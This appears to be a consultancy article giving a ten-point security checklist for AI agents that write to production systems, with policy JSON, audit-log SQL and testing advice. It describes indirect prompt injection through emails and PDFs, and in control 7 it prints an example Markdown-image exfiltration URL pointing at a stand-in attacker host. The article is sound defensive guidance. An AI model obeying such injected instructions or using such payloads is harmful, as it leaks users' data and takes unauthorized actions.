Skip to content
Book a call

AI agent security and governance checklist: 10 controls before giving an agent write access

Ten engineering controls mapped to the OWASP 2026 LLM and Agentic frameworks and the MCP OAuth 2.1 authorization spec, complete with JSON tool-policy schemas, Postgres audit-log DDL, and indirect prompt-injection tests.

Summarize with AI
TL;DR
  • Prompt injection (OWASP LLM01) combined with Excessive Agency (OWASP LLM03) turns untrusted text inside an email, ticket, or PDF into unauthorized database writes or data exfiltration.
  • Never hand an agent a raw SQL runner, shell tool, or admin service-account token. Enforce least agency with narrowly parameterized functions and short-lived user-delegated OAuth 2.1 tokens.
  • Separate actions into four runtime tiers: read-only, draft-only, bounded writes with deterministic policy checks, and irreversible actions gated behind explicit human approval.
  • Run these 10 checks — covering identity, tool boundaries, MCP auth, human approvals, audit logging, and automated red-teaming — before any agent touches production records.
01

Identity & least agency

Replace god-mode service keys with user-delegated OAuth 2.1 tokens and tightly parameterized tools.

02

Runtime policy & approvals

Intercept every write call with deterministic schema/limit checks and human-in-the-loop gates.

03

Injection & egress defense

Isolate untrusted documents from instructions, restrict outbound domains, and cap loops and spend.

04

Auditability & red-teaming

Log every tool call with actor, inputs, and approval ID, and run automated injection tests before release.

Why write access changes the threat model completely

A read-only chatbot that hallucinates a summary is annoying. An agent wired into Stripe, Salesforce, Slack, or your PostgreSQL database that falls for an indirect prompt injection is a production incident.

In the OWASP Top 10 for LLM Applications (2026) and OWASP Agentic frameworks, the most severe real-world incidents happen where Prompt Injection (LLM01) collides with Excessive Agency (LLM03). An agent summarizes an incoming customer email or vendor PDF containing hidden instructions telling it to call an internal export tool or issue a credit. If the agent holds broad write permissions and runs without deterministic checks, it executes the attacker’s command using legitimate credentials.

Four-tier action boundary model for production AI agents
Action tierExamplesRequired controlWho executes
Tier 0: ReadLookup order status, search internal docs, read ticket historyUser-delegated row-level auth + PII redaction in logsAgent automatically
Tier 1: DraftDraft email reply, create unapproved quote, stage Jira ticketIsolated draft state; zero external side effects until edited/sentAgent automatically
Tier 2: Bounded writeTag support ticket, log call note, update status within allowed state machineDeterministic server policy check + idempotency key + rate cap + audit logAgent within strict bounds
Tier 3: High-impactSend external email, issue refund, delete records, bulk update, change rolesMandatory Human-in-the-Loop (HITL) approval token + diff previewHuman approves; server executes

Group 1: Identity, MCP auth, and least agency

1. Replace generic tools with narrowly parameterized functions

Why it matters: Handing an agent a run_sql(query) or http_request(url, body) tool violates the Principle of Least Agency. One poisoned input turns a reporting helper into a full database exfiltration or SSRF vector.

How to check: Expose purpose-built functions with strict Zod/JSON Schema enums and server-enforced bounds (for example, create_draft_credit_memo(invoice_id, reason_code, amount_cents) where amount_cents is validated server-side against the invoice total).

2. Run user-triggered agents on short-lived, user-delegated tokens

Why it matters: Running every user’s agent session through one admin API key lets an intern or an injected external document read executive compensation, legal matters, or another customer tenant’s records.

How to check: Pass the signed-in user’s scoped access token (or exchange it via OAuth token-broker pattern) into every tool handler and enforce row-level permissions on the backend before returning rows to the model context.

3. Enforce OAuth 2.1, PKCE, and RFC 8707 audience binding on remote MCP servers

Why it matters: If your agent talks to internal or third-party tools over remote HTTP MCP servers, weak static API keys or unbound tokens invite token-replay and confused-deputy attacks across services.

How to check: Verify your remote MCP server validates Bearer tokens statelessly on every request, requires PKCE (S256), advertises RFC 9728 metadata on 401 Unauthorized, and checks the RFC 8707 resource audience claim:

HTTP/1.1 401 Unauthorized
WWW-Authenticate: Bearer resource_metadata="https://mcp.example.com/.well-known/oauth-protected-resource", scope="orders:read drafts:write"

Group 2: Deterministic policy checks and human approval gates

4. Put a deterministic policy engine between the model and every write API

Why it matters: Never ask the LLM to decide whether it is allowed to call a tool. Enforce dollar caps, allowed state transitions, target-table whitelists, and rate limits in plain application code before the backend call executes.

How to check: Define an explicit server-side tool policy per agent role and reject any tool call that breaches a threshold before touching the database or external API:

{
  "agent": "billing-ops-assistant",
  "tools": {
    "invoices.get": { "mode": "auto", "max_rows": 25 },
    "credits.draft": { "mode": "auto", "max_amount_cents": 50000 },
    "credits.post": { "mode": "require_human_approval", "approver_roles": ["controller", "cfo"] },
    "invoices.delete": { "mode": "deny" }
  },
  "limits": { "max_tool_calls_per_run": 12, "max_writes_per_hour": 30 }
}

5. Gate irreversible actions behind a signed human-in-the-loop approval record

Why it matters: Prompting the user in chat text (“Reply YES to send”) is brittle and can be spoofed across multi-turn context. Approval must be a real backend state transition tied to the exact payload hash.

How to check: Have the agent write a pending_actions row with a SHA-256 hash of the exact arguments (recipient, amount, diff). Only execute the downstream API call when an authorized human clicks Approve on that exact action ID and hash.

6. Require idempotency keys and dry-run previews on write tools

Why it matters: Agents retry tool calls when timeouts or reasoning loops happen. Without idempotency keys, a single network blip can post duplicate invoices, charge a card twice, or email a customer three times.

How to check: Attach a deterministic idempotency key per (run_id, step_id, target_record_id) on every mutating tool, and support a dry_run: true mode so operators can validate diffs before enabling live writes.

Group 3: Indirect prompt injection and egress containment

7. Separate untrusted content structurally and strip active egress paths

Why it matters: A classic indirect injection exfiltrates data by tricking the agent into rendering a Markdown image URL like ![x](https://evil.test/steal?data=...) or calling a webhook with secret records.

How to check: Wrap retrieved emails, PDFs, and web snippets in explicit untrusted-data delimiters, sanitize Markdown image/link rendering in your UI so external image URLs never auto-fetch, and restrict server egress to an explicit allowlist of API domains.

8. Hard-cap loop depth, token spend, and concurrency per session

Why it matters: A stuck reasoning loop or malicious prompt can spin through hundreds of model calls and exhaust API quotas (for example, burning through QuickBooks Online’s 500 req/min limit or Salesforce’s rolling 24-hour API allowance).

How to check: Enforce strict per-run step caps (e.g., max 10–15 tool calls), per-minute token/cost ceilings, and circuit breakers that halt the agent and alert an operator on repeated tool errors.

Group 4: Immutable audit trails and pre-release red-teaming

9. Record an immutable audit log for every tool invocation and approval

Why it matters: When finance or compliance asks “why did this record change at 2:14 PM?”, console logs from an ephemeral container are useless. You need a queryable ledger tying the prompt, actor, tool arguments, approval ID, and outcome together.

How to check: Write every tool call — both allowed and blocked — to an append-only table (redacting secrets and raw payment/PHI fields) before returning the result to the model:

CREATE TABLE agent_tool_audit_log (
  id              uuid PRIMARY KEY,
  occurred_at     timestamptz NOT NULL DEFAULT now(),
  agent_name      text NOT NULL,
  actor_user_id   text NOT NULL,
  tenant_id       text NOT NULL,
  tool_name       text NOT NULL,
  decision        text NOT NULL CHECK (decision IN ('allowed','denied','pending_approval')),
  approval_id     uuid,
  args_sha256     text NOT NULL,
  args_redacted   jsonb NOT NULL,
  outcome_status  text NOT NULL
);

10. Run automated indirect-injection red-team tests in CI before shipping

Why it matters: Manual spot-checks miss multi-step goal hijacking and regressions when you upgrade the underlying model or tweak a tool description.

How to check: Add a deterministic test suite (using Promptfoo, DeepEval, or your own fixture harness) that injects poisoned vendor PDFs, emails, and support tickets and asserts zero unauthorized Tier 2/3 tool calls execute before merging.

Sources

  1. OWASP Top 10 for LLM Applications (Prompt Injection & Excessive Agency) (checked Nov 30, 2026)
  2. Model Context Protocol — Authorization Specification (OAuth 2.1, PKCE, RFC 8707) (checked Nov 30, 2026)
  3. IETF RFC 9728 — OAuth 2.0 Protected Resource Metadata (checked Nov 30, 2026)
  4. IETF RFC 8707 — Resource Indicators for OAuth 2.0 (checked Nov 30, 2026)
  5. Promptfoo — Red-Teaming & Automated LLM Security Testing (checked Nov 30, 2026)
  6. Cloud Security Alliance — Agentic AI Security & Governance Guidance (checked Nov 30, 2026)

Common questions

Questions about this topic

Shipping an AI agent that writes into production systems?

Bring your target tools, auth stack, and workflow boundaries. We build production AI applications and MCP integrations with server-side controls and full audit trails.

Book a call
Why is prompt-engineering the system prompt not enough to secure a write-capable AI agent?

Language models do not enforce a hard cryptographic boundary between developer instructions and untrusted text retrieved from emails, PDFs, web pages, or support tickets. A hidden line inside a vendor invoice can override a polite system prompt rule. Real security must live in deterministic server-side code outside the model: scoped tokens, parameterized tools, policy checks, and human approval gates.

Should an internal agent use a shared service account or the signed-in user’s own permissions?

Use user-delegated permissions whenever a human triggers the agent. If a sales rep asks an agent to summarize an account, the tool layer should pass a short-lived token scoped strictly to that rep’s CRM access, never a workspace admin key. For unattended background jobs, create a dedicated least-privilege service identity limited to the exact tables or API scopes that job requires.

What does the MCP authorization spec require for remote HTTP servers?

Remote HTTP-based MCP servers act as OAuth 2.1 Resource Servers. They validate incoming Bearer tokens on every request without issuing tokens themselves, require PKCE with `S256`, forbid the legacy implicit grant, bind tokens to the specific server audience via RFC 8707 `resource` indicators, and advertise auth metadata via RFC 9728 `WWW-Authenticate` responses.

Which actions should always require a human approval gate?

Any irreversible or externally visible action: sending external emails or SMS, issuing refunds or moving money, deleting records, changing permissions or user roles, modifying pricing or contract terms above a threshold, and bulk-updating more than a small capped row count.

How do you test an agent for indirect prompt injection before going live?

Build an automated red-team suite (using tools like Promptfoo or DeepEval in CI) that feeds realistic poisoned artifacts — such as a mock vendor PDF or support email containing hidden tool-call instructions — and asserts that zero unauthorized write tools execute and zero sensitive records leak into outbound calls.